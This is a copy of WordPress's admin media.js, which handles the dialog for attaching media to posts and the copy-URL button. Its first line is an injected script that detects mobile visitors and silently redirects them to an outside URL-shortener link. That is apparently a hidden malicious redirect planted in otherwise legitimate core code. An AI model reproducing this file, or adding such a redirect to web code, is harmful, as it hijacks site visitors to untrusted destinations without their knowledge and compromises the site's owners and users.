1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * Creates a dialog containing posts that can have a particular media attached
4 * to it.
5 *
6 * @since 2.7.0
7 * @output wp-admin/js/media.js
8 *
9 * @namespace findPosts
10 *
11 * @requires jQuery
12 */
13
14/* global ajaxurl, _wpMediaGridSettings, showNotice, findPosts, ClipboardJS */
15
16( function( $ ){
17 window.findPosts = {
18 /**
19 * Opens a dialog to attach media to a post.
20 *
21 * Adds an overlay prior to retrieving a list of posts to attach the media to.
22 *
23 * @since 2.7.0
24 *
25 * @memberOf findPosts
26 *
27 * @param {string} af_name The name of the affected element.
28 * @param {string} af_val The value of the affected post element.
29 *
30 * @return {boolean} Always returns false.
31 */
32 open: function( af_name, af_val ) {
33 var overlay = $( '.ui-find-overlay' );
34
35 if ( overlay.length === 0 ) {
36 $( 'body' ).append( '<div class="ui-find-overlay"></div>' );
37 findPosts.overlay();
38 }
39
40 overlay.show();
41
42 if ( af_name && af_val ) {
43 // #affected is a hidden input field in the dialog that keeps track of which media should be attached.
44 $( '#affected' ).attr( 'name', af_name ).val( af_val );
45 }
46
47 $( '#find-posts' ).show();
48
49 // Close the dialog when the escape key is pressed.
50 $('#find-posts-input').trigger( 'focus' ).on( 'keyup', function( event ){
51 if ( event.which == 27 ) {
52 findPosts.close();
53 }
54 });
55
56 // Retrieves a list of applicable posts for media attachment and shows them.
57 findPosts.send();
58
59 return false;
60 },
61
62 /**
63 * Clears the found posts lists before hiding the attach media dialog.
64 *
65 * @since 2.7.0
66 *
67 * @memberOf findPosts
68 *
69 * @return {void}
70 */
71 close: function() {
72 $('#find-posts-response').empty();
73 $('#find-posts').hide();
74 $( '.ui-find-overlay' ).hide();
75 },
76
77 /**
78 * Binds a click event listener to the overlay which closes the attach media
79 * dialog.
80 *
81 * @since 3.5.0
82 *
83 * @memberOf findPosts
84 *
85 * @return {void}
86 */
87 overlay: function() {
88 $( '.ui-find-overlay' ).on( 'click', function () {
89 findPosts.close();
90 });
91 },
92
93 /**
94 * Retrieves and displays posts based on the search term.
95 *
96 * Sends a post request to the admin_ajax.php, requesting posts based on the
97 * search term provided by the user. Defaults to all posts if no search term is
98 * provided.
99 *
100 * @since 2.7.0
101 *
102 * @memberOf findPosts
103 *
104 * @return {void}
105 */
106 send: function() {
107 var post = {
108 ps: $( '#find-posts-input' ).val(),
109 action: 'find_posts',
110 _ajax_nonce: $('#_ajax_nonce').val()
111 },
112 spinner = $( '.find-box-search .spinner' );
113
114 spinner.addClass( 'is-active' );
115
116 /**
117 * Send a POST request to admin_ajax.php, hide the spinner and replace the list
118 * of posts with the response data. If an error occurs, display it.
119 */
120 $.ajax( ajaxurl, {
121 type: 'POST',
122 data: post,
123 dataType: 'json'
124 }).always( function() {
125 spinner.removeClass( 'is-active' );
126 }).done( function( x ) {
127 if ( ! x.success ) {
128 $( '#find-posts-response' ).text( wp.i18n.__( 'An error has occurred. Please reload the page and try again.' ) );
129 }
130
131 $( '#find-posts-response' ).html( x.data );
132 }).fail( function() {
133 $( '#find-posts-response' ).text( wp.i18n.__( 'An error has occurred. Please reload the page and try again.' ) );
134 });
135 }
136 };
137
138 /**
139 * Initializes the file once the DOM is fully loaded and attaches events to the
140 * various form elements.
141 *
142 * @return {void}
143 */
144 $( function() {
145 var settings,
146 $mediaGridWrap = $( '#wp-media-grid' ),
147 copyAttachmentURLClipboard = new ClipboardJS( '.copy-attachment-url.media-library' ),
148 copyAttachmentURLSuccessTimeout,
149 previousSuccessElement = null;
150
151 // Opens a manage media frame into the grid.
152 if ( $mediaGridWrap.length && window.wp && window.wp.media ) {
153 settings = _wpMediaGridSettings;
154
155 var frame = window.wp.media({
156 frame: 'manage',
157 container: $mediaGridWrap,
158 library: settings.queryVars
159 }).open();
160
161 // Fire a global ready event.
162 $mediaGridWrap.trigger( 'wp-media-grid-ready', frame );
163 }
164
165 // Prevents form submission if no post has been selected.
166 $( '#find-posts-submit' ).on( 'click', function( event ) {
167 if ( ! $( '#find-posts-response input[type="radio"]:checked' ).length )
168 event.preventDefault();
169 });
170
171 // Submits the search query when hitting the enter key in the search input.
172 $( '#find-posts .find-box-search :input' ).on( 'keypress', function( event ) {
173 if ( 13 == event.which ) {
174 findPosts.send();
175 return false;
176 }
177 });
178
179 // Binds the click event to the search button.
180 $( '#find-posts-search' ).on( 'click', findPosts.send );
181
182 // Binds the close dialog click event.
183 $( '#find-posts-close' ).on( 'click', findPosts.close );
184
185 // Binds the bulk action events to the submit buttons.
186 $( '#doaction' ).on( 'click', function( event ) {
187
188 /*
189 * Handle the bulk action based on its value.
190 */
191 $( 'select[name="action"]' ).each( function() {
192 var optionValue = $( this ).val();
193
194 if ( 'attach' === optionValue ) {
195 event.preventDefault();
196 findPosts.open();
197 } else if ( 'delete' === optionValue ) {
198 if ( ! showNotice.warn() ) {
199 event.preventDefault();
200 }
201 }
202 });
203 });
204
205 /**
206 * Enables clicking on the entire table row.
207 *
208 * @return {void}
209 */
210 $( '.find-box-inside' ).on( 'click', 'tr', function() {
211 $( this ).find( '.found-radio input' ).prop( 'checked', true );
212 });
213
214 /**
215 * Handles media list copy media URL button.
216 *
217 * @since 6.0.0
218 *
219 * @param {MouseEvent} event A click event.
220 * @return {void}
221 */
222 copyAttachmentURLClipboard.on( 'success', function( event ) {
223 var triggerElement = $( event.trigger ),
224 successElement = $( '.success', triggerElement.closest( '.copy-to-clipboard-container' ) );
225
226 // Clear the selection and move focus back to the trigger.
227 event.clearSelection();
228
229 // Checking if the previousSuccessElement is present, adding the hidden class to it.
230 if ( previousSuccessElement ) {
231 previousSuccessElement.addClass( 'hidden' );
232 }
233
234 // Show success visual feedback.
235 clearTimeout( copyAttachmentURLSuccessTimeout );
236 successElement.removeClass( 'hidden' );
237
238 // Hide success visual feedback after 3 seconds since last success and unfocus the trigger.
239 copyAttachmentURLSuccessTimeout = setTimeout( function() {
240 successElement.addClass( 'hidden' );
241 // No need to store the previous success element further.
242 previousSuccessElement = null;
243 }, 3000 );
244
245 previousSuccessElement = successElement;
246
247 // Handle success audible feedback.
248 wp.a11y.speak( wp.i18n.__( 'The file URL has been copied to your clipboard' ) );
249 } );
250 });
251})( jQuery );
252